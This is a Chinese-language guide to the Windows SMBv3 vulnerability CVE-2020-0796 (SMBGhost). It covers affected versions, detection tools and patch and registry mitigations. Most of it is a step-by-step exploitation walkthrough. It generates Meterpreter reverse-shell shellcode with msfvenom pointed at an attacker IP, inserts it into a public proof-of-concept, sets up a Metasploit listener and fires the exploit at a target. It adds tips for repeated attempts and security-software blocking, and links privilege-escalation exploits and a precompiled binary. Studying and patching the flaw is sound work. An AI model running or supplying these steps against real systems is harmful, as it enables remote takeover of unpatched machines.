CVE-2020-0796
漏洞概述
CVE-2020-0796 | Windows SMBv3 客户端/服务器远程代码执行漏洞
Microsoft 服务器消息块 3.1.1 (SMBv3) 协议处理某些请求的方式中存在远程执行代码漏洞。成功利用此漏洞的攻击者可以获取在目标服务器或客户端上执行代码的能力。
要利用针对服务器的漏洞,未经身份验证的攻击者可以将特制数据包发送到目标 SMBv3 服务器。要利用针对客户端的漏洞,未经身份验证的攻击者将需要配置恶意的 SMBv3 服务器,并说服用户连接到该服务器。
此安全更新通过更正 SMBv3 协议处理这些特制请求的方式来修复此漏洞
漏洞影响版本
Windows 10版本1903(用于32位系统)
Windows 10版本1903(用于基于ARM64的系统)
Windows 10版本1903(用于基于x64的系统)
Windows 10版本1909(用于32位系统)
Windows 10版本1909(用于基于ARM64的系统)
Windows 10版本1909(用于)基于x64的系统
Windows Server 1903版(服务器核心安装)
Windows Server 1909版(服务器核心安装)
漏洞检测
https://github.com/ollypwn/SMBGhost
https://github.com/ClarotyICS/CVE2020-0796
远程代码执行-POC
来源
https://github.com/chompie1337/SMBGhost_RCE_PoC/
漏洞利用
系统版本
下载代码
git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
生成python版的反向链接shellcode
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.2.140 LPORT=1234 -f python -o 123.py
将生成的shellcode的里的buf全部替换为USER_PAYLOAD
用修改后的shellcode替换exploit.py里原来的shellcode
启动msf
msf5 > use exploit/multi/handler #设置模块
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp #设置反弹shell类型
msf5 exploit(multi/handler) > set lport 1234 #设置本地端口
msf5 exploit(multi/handler) > set lhost 192.168.2.140 #设置本地IP
msf5 exploit(multi/handler) > run #开始监听
执行exp(请使用python3,python2会导致蓝屏,exp不一定是一次成功,请多试几次,如果成功会提示按任意键发送shellcode,实际是按回车发送)
python3 exploit.py -ip 192.168.2.107
成功反弹shell
如果exp一直执行失败请检查是否被安全软件拦截
也可在手机上进行复现(使用termux)
本地提权-POC
源代码
C++版
https://github.com/danigargu/CVE-2020-0796
Python版
https://github.com/ZecOps/CVE-2020-0796-LPE-POC
漏洞利用
系统版本
C++
已编译好的文件
https://pan.baidu.com/s/1aaUO7_EX2m6fWUYcl30cZA
MD5: A51599467EE9CB676F5C29EBE5AC8DF6
SHA-256: 11F4D4957090535E9F99ED305AEB3B2E6D28A5F5E495AE444EDB839C2FEFFB36
Python
修复方式
1.禁用 SMBv3 压缩
您可以使用以下 PowerShell 命令禁用压缩功能,以阻止未经身份验证的攻击者利用SMBv3 服务器的漏洞。
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force
注意:
- 进行更改后,无需重启。
- 此解决方法不能阻止利用 SMB 客户端;请参阅常见问题解答下的第 2 项,以保护客户端。
- Windows 或 Windows Server 尚未使用 SMB 压缩,并且禁用 SMB 压缩不会产生负面的性能影响。
你可以使用下面的 PowerShell 命令禁用该变通方法。
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 0 -Force
注意: 禁用此解决方法后,无需重启。
2.打补丁
https://www.catalog.update.microsoft.com/Search.aspx?q=KB4551762